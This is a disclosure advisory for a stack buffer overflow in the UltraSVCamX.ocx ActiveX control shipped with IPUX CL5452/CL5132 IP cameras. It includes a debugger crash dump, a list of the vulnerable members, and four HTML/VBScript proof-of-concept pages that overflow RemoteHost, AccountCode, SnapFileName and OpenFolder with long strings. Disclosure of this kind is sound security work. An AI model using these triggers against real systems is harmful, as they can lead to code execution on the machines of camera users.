IPUX CL5452/CL5132 IP Camera - (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow

🗓️ 02 Dec 2014 00:00:00Reported by LiquidWormType
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IPUX CL5452/CL5132 IP Camera ActiveX Stack Buffer Overflow vulnerabilit
IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow
 
 
Vendor: Big Good Holdings Limited | Fitivision Technology Inc.
Product web page: http://www.ipux.net | http://www.fitivision.com
Affected version: Bullet Type ICL5132 (firmware: ICL5132 2.0.0-2 20130730 r1112)
                  Bullet Type ICL5452
 
Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor.
With high performance H.264 video compression, the file size of video stream is
extremely reduced, as to optimize the network bandwidth efficiency. It has full
Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The
built-in USB port provides a convenient and portable storage option for local storage
of event and schedule recording, especially network disconnected.
 
Desc: The UltraSVCam ActiveX Control 'UltraSVCamX.ocx' suffers from a stack buffer
overflow vulnerability when parsing large amount of bytes to several functions in
UltraSVCamLib, resulting in memory corruption overwriting several registers including
the SEH. An attacker can gain access to the system of the affected node and execute
arbitrary code.
 
----------------------------------------------------------------------------------
 
(3ef0.3e0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\Downloaded Program Files\UltraSVCamX.ocx -
eax=41414149 ebx=00000001 ecx=00003e0c edx=02163f74 esi=41414141 edi=02163f74
eip=77e8466c esp=003eef8c ebp=003eefc0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ntdll!RtlDeleteCriticalSection+0x77:
77e8466c 833800          cmp     dword ptr [eax],0    ds:002b:41414149=????????
 
----------------------------------------------------------------------------------
 
Tested on: Microsoft Windows 7 Professional SP1 (EN)
 
 
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience
 
 
Advisory ID: ZSL-2014-5213
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5213.php
 
 
16.11.2014
 
---
 
 
Properties:
-----------
 
FileDescription     UltraSVCam ActiveX Control
FileVersion     1, 0, 53, 34 and 1, 0, 53, 33
InternalName        UltraSVCamX
OriginalFileName    UltraSVCamX.ocx
ProductName     UltraSVCam device ActiveX Control
ProductVersion      1, 0, 53, 34 and 1, 0, 53, 33
 
 
List of members:
----------------
 
Interface IUltraSVCamX : IDispatch
Default Interface: True
Members : 51
    RemoteHost
    RemotePort
    AccountCode
    Password
    UserName
    fChgImageSize
    ImgWidth
    ImgHeight
    SnapFileName
    AVIRecStart
    SetImgScale
    OpenFolder
    OpenFileDlg
    TriggerStatus
    AVIRecStatus
    PlayVideo
    SetAutoScale
    SetPTUserAllow
    SetLanguage
    SetFullScreen
    SetZoom
    SetDirectShow
    SetROIParam
    FOpen
    FSeek
    FDeleteFile
 
 
Vulnerable members of the class:
--------------------------------
 
RemoteHost
AccountCode
SnapFileName
OpenFolder
 
 
PoC(s):
-------
 
 
---1
 
 
<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let RemoteHost As String"
memberName = "RemoteHost"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.RemoteHost = arg1
</script>
</html>
 
 
---2
 
 
<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let AccountCode As String"
memberName = "AccountCode"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(1044, "A")
target.AccountCode = arg1
</script>
</html>
 
 
---3
 
 
<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Property Let SnapFileName As String"
memberName = "SnapFileName"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(11284, "A")
target.SnapFileName = arg1
</script>
</html>
 
 
---4
 
 
<html>
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"
prototype  = "Function OpenFolder ( ByVal sInitPath As String ) As String"
memberName = "OpenFolder"
progid     = "UltraSVCamLib.UltraSVCamX"
argCount   = 1
arg1=String(2068, "A")
target.OpenFolder arg1
</script>
</html>

#  0day.today [2018-03-05]  #
02 Dec 2014 00:00Current
8.1High risk
Vulners AI Score8.1